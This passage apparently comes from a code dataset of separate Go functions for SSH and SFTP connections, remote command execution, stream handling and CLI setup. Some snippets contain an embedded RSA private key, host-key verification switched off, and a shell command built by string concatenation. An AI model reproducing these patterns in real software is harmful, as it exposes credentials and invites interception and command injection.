KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\t// fmt.Println(\"Unable to parse test key :\", err)\n\t\treturn nil, err\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: \t\t\t\tuser,\n\t\tAuth: \t\t\t\tauth,\n\t\tTimeout: \t\t\t30 * time.Second,\n\t\tHostKeyCallback: \tfunc(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif sshClient, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\tif sftpClient, err = sftp.NewClient(sshClient); err != nil {\n\t\treturn nil, err\n\t}\n\treturn sftpClient, nil\n}", "func Exec(config *ssh.ClientConfig, addr string, workDir string, cmd string, nixConf string) (bytes.Buffer, error) {\n\tvar b bytes.Buffer // import \"bytes\"\n\n\t// Connect\n\tclient, err := ssh.Dial(\"tcp\", net.JoinHostPort(addr, \"22\"), config)\n\tif err != nil {\n\t\treturn b, err\n\t}\n\t// Create a session. It is one session per command.\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn b, err\n\t}\n\tdefer session.Close()\n\n\tsession.Stderr = os.Stderr // get output\n\tsession.Stdout = &b // get output\n\t// you can also pass what gets input to the stdin, allowing you to pipe\n\t// content from client to server\n\t// session.Stdin = bytes.NewBufferString(\"My input\")\n\n\t// Finally, run the command\n\tfullCmd := \". ~/.nix-profile/etc/profile.d/nix.sh && cd \" + workDir + \" && nix-shell \" + nixConf + \" --command '\" + cmd + \"'\"\n\tfmt.Println(fullCmd)\n\terr = session.Run(fullCmd)\n\treturn b, err\n}", "func (bc *BaseCluster) SSH(m Machine, cmd string) ([]byte, []byte, error) {\n\tvar stdout bytes.Buffer\n\tvar stderr bytes.Buffer\n\tclient, err := bc.SSHClient(m.IP())\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer client.Close()\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer session.Close()\n\n\tsession.Stdout = &stdout\n\tsession.Stderr = &stderr\n\terr = session.Run(cmd)\n\toutBytes := bytes.TrimSpace(stdout.Bytes())\n\terrBytes := bytes.TrimSpace(stderr.Bytes())\n\treturn outBytes, errBytes, err\n}", "func NewStream(host core.Host, pid core.PeerID, protoIDs ...core.ProtocolID) (core.Stream, error) {\n\n\tstream, err := host.NewStream(context.Background(), pid, protoIDs...)\n\t// EOF表示底层连接断开, 增加一次重试\n\tif err == io.EOF {\n\t\tlog.Debug(\"NewStream\", \"msg\", \"RetryConnectEOF\")\n\t\tstream, err = host.NewStream(context.Background(), pid, protoIDs...)\n\t}\n\tif err != nil {\n\t\tlog.Error(\"NewStream\", \"pid\", pid.Pretty(), \"msgID\", protoIDs, \" err\", err)\n\t\treturn nil, err\n\t}\n\treturn stream, nil\n}", "func (agent *Agent) OpenStream(vbId uint16, flags DcpStreamAddFlag, vbUuid VbUuid, startSeqNo,\n\tendSeqNo, snapStartSeqNo, snapEndSeqNo SeqNo, evtHandler StreamObserver, filter *StreamFilter, cb OpenStreamCallback) (PendingOp, error) {\n\tvar req *memdQRequest\n\thandler := func(resp *memdQResponse, _ *memdQRequest, err error) {\n\t\tif resp != nil && resp.Magic == resMagic {\n\t\t\t// This is the response to the open stream request.\n\t\t\tif err != nil {\n\t\t\t\treq.Cancel()\n\n\t\t\t\t// All client errors are handled by the StreamObserver\n\t\t\t\tcb(nil, err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tnumEntries := len(resp.Value) / 16\n\t\t\tentries := make([]FailoverEntry, numEntries)\n\t\t\tfor i := 0; i < numEntries; i++ {\n\t\t\t\tentries[i] = FailoverEntry{\n\t\t\t\t\tVbUuid: VbUuid(binary.BigEndian.Uint64(resp.Value[i*16+0:])),\n\t\t\t\t\tSeqNo: SeqNo(binary.BigEndian.Uint64(resp.Value[i*16+8:])),\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcb(entries, nil)\n\t\t\treturn\n\t\t}\n\n\t\tif err != nil {\n\t\t\treq.Cancel()\n\t\t\tstreamId := noStreamId\n\t\t\tif filter != nil {\n\t\t\t\tstreamId = filter.StreamId\n\t\t\t}\n\t\t\tevtHandler.End(vbId, streamId, err)\n\t\t\treturn\n\t\t}\n\n\t\t// This is one of the stream events\n\t\tswitch resp.Opcode {\n\t\tcase cmdDcpSnapshotMarker:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tnewStartSeqNo := binary.BigEndian.Uint64(resp.Extras[0:])\n\t\t\tnewEndSeqNo := binary.BigEndian.Uint64(resp.Extras[8:])\n\t\t\tsnapshotType := binary.BigEndian.Uint32(resp.Extras[16:])\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\t\t\tevtHandler.SnapshotMarker(newStartSeqNo, newEndSeqNo, vbId, streamId, SnapshotState(snapshotType))\n\t\tcase cmdDcpMutation:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\n\t\t\trevNo := binary.BigEndian.Uint64(resp.Extras[8:])\n\t\t\tflags := binary.BigEndian.Uint32(resp.Extras[16:])\n\t\t\texpiry := binary.BigEndian.Uint32(resp.Extras[20:])\n\t\t\tlockTime := binary.BigEndian.Uint32(resp.Extras[24:])\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\t\t\tevtHandler.Mutation(seqNo, revNo, flags, expiry, lockTime, resp.Cas, resp.Datatype, vbId, resp.CollectionID, streamId, resp.Key, resp.Value)\n\t\tcase cmdDcpDeletion:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\n\t\t\trevNo := binary.BigEndian.Uint64(resp.Extras[8:])\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\t\t\tevtHandler.Deletion(seqNo, revNo, resp.Cas, resp.Datatype, vbId, resp.CollectionID, streamId, resp.Key, resp.Value)\n\t\tcase cmdDcpExpiration:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\n\t\t\trevNo := binary.BigEndian.Uint64(resp.Extras[8:])\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\t\t\tevtHandler.Expiration(seqNo, revNo, resp.Cas, vbId, resp.CollectionID, streamId, resp.Key)\n\t\tcase cmdDcpEvent:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\n\t\t\teventCode := StreamEventCode(binary.BigEndian.Uint32(resp.Extras[8:]))\n\t\t\tversion := resp.Extras[12]\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\n\t\t\tswitch eventCode {\n\t\t\tcase StreamEventCollectionCreate:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tcollectionId := binary.BigEndian.Uint32(resp.Value[12:])\n\t\t\t\tvar ttl uint32\n\t\t\t\tif version == 1 {\n\t\t\t\t\tttl = binary.BigEndian.Uint32(resp.Value[16:])\n\t\t\t\t}\n\t\t\t\tevtHandler.CreateCollection(seqNo, version, vbId, manifestUid, scopeId, collectionId, ttl, streamId, resp.Key)\n\t\t\tcase StreamEventCollectionDelete:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tcollectionId := binary.BigEndian.Uint32(resp.Value[12:])\n\t\t\t\tevtHandler.DeleteCollection(seqNo, version, vbId, manifestUid, scopeId, collectionId, streamId)\n\t\t\tcase StreamEventCollectionFlush:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tcollectionId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tevtHandler.FlushCollection(seqNo, version, vbId, manifestUid, collectionId)\n\t\t\tcase StreamEventScopeCreate:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tevtHandler.CreateScope(seqNo, version, vbId, manifestUid, scopeId, streamId, resp.Key)\n\t\t\tcase StreamEventScopeDelete:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tevtHandler.DeleteScope(seqNo, version, vbId, manifestUid, scopeId, streamId)\n\t\t\tcase StreamEventCollectionChanged:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tcollectionId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tttl := binary.BigEndian.Uint32(resp.Value[12:])\n\t\t\t\tevtHandler.ModifyCollection(seqNo, version, vbId, manifestUid, collectionId, ttl, streamId)\n\t\t\t}\n\t\tcase cmdDcpStreamEnd:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tcode := streamEndStatus(binary.BigEndian.Uint32(resp.Extras[0:]))\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\t\t\tevtHandler.End(vbId, streamId, getStreamEndError(code))\n\t\t\treq.Cancel()\n\t\t}\n\t}\n\n\textraBuf := make([]byte, 48)\n\tbinary.BigEndian.PutUint32(extraBuf[0:], uint32(flags))\n\tbinary.BigEndian.PutUint32(extraBuf[4:], 0)\n\tbinary.BigEndian.PutUint64(extraBuf[8:], uint64(startSeqNo))\n\tbinary.BigEndian.PutUint64(extraBuf[16:], uint64(endSeqNo))\n\tbinary.BigEndian.PutUint64(extraBuf[24:], uint64(vbUuid))\n\tbinary.BigEndian.PutUint64(extraBuf[32:], uint64(snapStartSeqNo))\n\tbinary.BigEndian.PutUint64(extraBuf[40:], uint64(snapEndSeqNo))\n\n\tvar val []byte\n\tval = nil\n\tif filter != nil {\n\t\tconvertedFilter := streamFilter{}\n\t\tfor _, cid := range filter.Collections {\n\t\t\tconvertedFilter.Collections = append(convertedFilter.Collections, fmt.Sprintf(\"%x\", cid))\n\t\t}\n\t\tif filter.Scope != noScopeId {\n\t\t\tconvertedFilter.Scope = fmt.Sprintf(\"%x\", filter.Scope)\n\t\t}\n\t\tif filter.ManifestUid != noManifestUid {\n\t\t\tconvertedFilter.ManifestUid = fmt.Sprintf(\"%x\", filter.ManifestUid)\n\t\t}\n\t\tif filter.StreamId != noStreamId {\n\t\t\tconvertedFilter.StreamId = filter.StreamId\n\t\t}\n\t\tvar err error\n\t\tval, err = json.Marshal(convertedFilter)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treq = &memdQRequest{\n\t\tmemdPacket: memdPacket{\n\t\t\tMagic: reqMagic,\n\t\t\tOpcode: cmdDcpStreamReq,\n\t\t\tDatatype: 0,\n\t\t\tCas: 0,\n\t\t\tExtras: extraBuf,\n\t\t\tKey: nil,\n\t\t\tValue: val,\n\t\t\tVbucket: vbId,\n\t\t},\n\t\tCallback: handler,\n\t\tReplicaIdx: 0,\n\t\tPersistent: true,\n\t}\n\treturn agent.dispatchOp(req)\n}", "func ConnectSSH(ip string) (*goph.Client, error) {\n\t// gets private ssh key\n\thome, err := os.UserHomeDir()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdir := home + \"/.ssh/id_rsa\"\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Printf(\"Type password of ssh key:\")\n\tpass, err := reader.ReadString('\\n')\n\tpass = strings.Trim(pass, \"\\n\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// gets an auth method goph.Auth for handling the connection request\n\tauth, err := goph.Key(dir, pass)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// asks for a new ssh connection returning the client for SSH\n\tclient, err := goph.NewConn(&goph.Config{\n\t\tUser: \"root\",\n\t\tAddr: ip,\n\t\tPort: 22,\n\t\tAuth: auth,\n\t\tCallback: VerifyHost, //HostCallBack custom (appends host to known_host if not exists)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn client, nil\n}", "func (s *Ssh) Connect() (*ssh.Client, error) {\n\tdialString := fmt.Sprintf(\"%s:%d\", s.Host, s.Port)\n\tlogger.Yellow(\"ssh\", \"Connecting to %s as %s\", dialString, s.Username)\n\n\t// We have to call PublicKey() to make sure signer is initialized\n\tPublicKey()\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: s.Username,\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t}\n\tclient, err := ssh.Dial(\"tcp\", dialString, config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn client, nil\n}", "func connectPipeline(commandList []exec.Cmd) error {\n\tvar err error\n\n\tfor i := range commandList {\n\t\tif i == len(commandList)-1 {\n\t\t\tbreak\n\t\t}\n\t\tif commandList[i+1].Stdin != nil || commandList[i].Stdout != nil {\n\t\t\treturn errors.New(\"Ambiguous input for file redirection and pipe\")\n\t\t}\n\t\tcommandList[i+1].Stdin, err = commandList[i].StdoutPipe()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif commandList[0].Stdin == nil {\n\t\tcommandList[0].Stdin = os.Stdin\n\t}\n\tif commandList[len(commandList)-1].Stdout == nil {\n\t\tcommandList[len(commandList)-1].Stdout = os.Stdout\n\t}\n\treturn nil\n}", "func (ss *sessionState) OnConnect(ctx context.Context, stream tunnel.Stream) (tunnel.Endpoint, error) {\n\tid := stream.ID()\n\tss.Lock()\n\tabp, ok := ss.awaitingBidiPipeMap[id]\n\tif ok {\n\t\tdelete(ss.awaitingBidiPipeMap, id)\n\t}\n\tss.Unlock()\n\n\tif !ok {\n\t\treturn nil, nil\n\t}\n\tdlog.Debugf(ctx, \" FWD %s, connect session %s with %s\", id, abp.stream.SessionID(), stream.SessionID())\n\tbidiPipe := tunnel.NewBidiPipe(abp.stream, stream)\n\tbidiPipe.Start(ctx)\n\n\tdefer close(abp.bidiPipeCh)\n\tselect {\n\tcase <-ss.done:\n\t\treturn nil, status.Error(codes.Canceled, \"session cancelled\")\n\tcase abp.bidiPipeCh <- bidiPipe:\n\t\treturn bidiPipe, nil\n\t}\n}", "func NewCmdGetStream(commonOpts *opts.CommonOptions) *cobra.Command {\n\toptions := &GetStreamOptions{\n\t\tGetOptions: GetOptions{\n\t\t\tCommonOptions: commonOpts,\n\t\t},\n\t}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"stream\",\n\t\tShort: \"Displays the version of a chart, package or docker image from the Version Stream\",\n\t\tLong: getStreamLong,\n\t\tExample: getStreamExample,\n\t\tAliases: []string{\"url\"},\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\toptions.Cmd = cmd\n\t\t\toptions.Args = args\n\t\t\terr := options.Run()\n\t\t\thelper.CheckErr(err)\n\t\t},\n\t}\n\tcmd.Flags().StringVarP(&options.Kind, \"kind\", \"k\", \"docker\", \"The kind of version. Possible values: \"+strings.Join(versionstream.KindStrings, \", \"))\n\tcmd.Flags().StringVarP(&options.VersionsRepository, \"repo\", \"r\", \"\", \"Jenkins X versions Git repo\")\n\tcmd.Flags().StringVarP(&options.VersionsGitRef, \"versions-ref\", \"\", \"\", \"Jenkins X versions Git repository reference (tag, branch, sha etc)\")\n\treturn cmd\n}", "func init() {\n\tcmd := cli.Command{\n\t\tName: \"ssh\",\n\t\tUsage: \"create and manage ssh certificates\",\n\t\tUsageText: \"step ssh <subcommand> [arguments] [global-flags] [subcommand-flags]\",\n\t\tDescription: `**step ssh** command group provides facilities to sign SSH certificates.\n\n## EXAMPLES\n\nGenerate a new SSH key pair and user certificate:\n'''\n$ step ssh certificate joe@work id_ecdsa\n'''\n\nGenerate a new SSH key pair and host certificate:\n'''\n$ step ssh certificate --host internal.example.com ssh_host_ecdsa_key\n'''\n\nAdd a new user certificate to the agent:\n'''\n$ step ssh login [email protected]\n'''\n\nRemove a certificate from the agent:\n'''\n$ step ssh logout [email protected]\n'''\n\nList all keys in the agent:\n'''\n$ step ssh list\n'''\n\nConfigure a user environment with the SSH templates:\n'''\n$ step ssh config\n'''\n\nInspect an ssh certificate file:\n'''\n$ step ssh inspect id_ecdsa-cert.pub\n'''\n\nInspect an ssh certificate in the agent:\n'''\n$ step ssh list --raw [email protected] | step ssh inspect\n'''\n\nList all the hosts you have access to:\n'''\n$ step ssh hosts\n'''\n\nLogin into one host:\n'''\n$ ssh internal.example.com\n'''`,\n\t\tSubcommands: cli.Commands{\n\t\t\tcertificateCommand(),\n\t\t\tcheckHostCommand(),\n\t\t\tconfigCommand(),\n\t\t\tfingerPrintCommand(),\n\t\t\thostsCommand(),\n\t\t\tinspectCommand(),\n\t\t\tlistCommand(),\n\t\t\tloginCommand(),\n\t\t\tlogoutCommand(),\n\t\t\tneedsRenewalCommand(),\n\t\t\t// proxyCommand(),\n\t\t\tproxycommandCommand(),\n\t\t\trekeyCommand(),\n\t\t\trenewCommand(),\n\t\t\trevokeCommand(),\n\t\t},\n\t}\n\n\tcommand.Register(cmd)\n}", "func newOpenCTRLStr(channel string) *Instruction {\n\treturn &Instruction{\n\t\tType: OpenCTRLStrInst,\n\t\tName: \"OpenCTRLStream\",\n\t\tChannel: channel,\n\t}\n}", "func handleDirectTcp(newChannel ssh.NewChannel, ca *ConnectionAlert) {\n\t//pp(\"handleDirectTcp called!\")\n\n\tp := &channelOpenDirectMsg{}\n\tssh.Unmarshal(newChannel.ExtraData(), p)\n\ttargetAddr := fmt.Sprintf(\"%s:%d\", p.Rhost, p.Rport)\n\tlog.Printf(\"direct-tcpip got channelOpenDirectMsg request to destination %s\",\n\t\ttargetAddr)\n\n\tchannel, req, err := newChannel.Accept() // (Channel, <-chan *Request, error)\n\tpanicOn(err)\n\tgo ssh.DiscardRequests(req)\n\n\tgo func(ch ssh.Channel, host string, port uint32) {\n\n\t\tvar targetConn net.Conn\n\t\tvar err error\n\t\taddr := fmt.Sprintf(\"%s:%d\", p.Rhost, p.Rport)\n\t\tswitch port {\n\t\tcase minus2_uint32:\n\t\t\t// unix domain request\n\t\t\tpp(\"direct.go has unix domain forwarding request\")\n\t\t\ttargetConn, err = net.Dial(\"unix\", host)\n\t\tcase 1:\n\t\t\tpp(\"direct.go has port 1 forwarding request. ca = %#v\", ca)\n\t\t\tif ca != nil && ca.PortOne != nil {\n\t\t\t\tpp(\"handleDirectTcp sees a port one request with a live ca.PortOne\")\n\t\t\t\tselect {\n\t\t\t\tcase ca.PortOne <- ch:\n\t\t\t\tcase <-ca.ShutDown:\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t\tpanic(\"wat?\")\n\t\t\tfallthrough\n\t\tdefault:\n\t\t\ttargetConn, err = net.Dial(\"tcp\", targetAddr)\n\t\t}\n\t\tif err != nil {\n\t\t\tlog.Printf(\"sshd direct.go could not forward connection to addr: '%s'\", addr)\n\t\t\treturn\n\t\t}\n\t\tlog.Printf(\"sshd direct.go forwarding direct connection to addr: '%s'\", addr)\n\n\t\tsp := newShovelPair(false)\n\t\tsp.Start(targetConn, ch, \"targetBehindSshd<-fromDirectClient\", \"fromDirectClient<-targetBehindSshd\")\n\t}(channel, p.Rhost, p.Rport)\n}", "func connect(user, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\tglog.Infoln(\"Unable to parse test key :\", err)\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\t//\t\tTimeout: \t\t\t60 * time.Second,\n\t\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn session, nil\n}", "func connect(user, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVE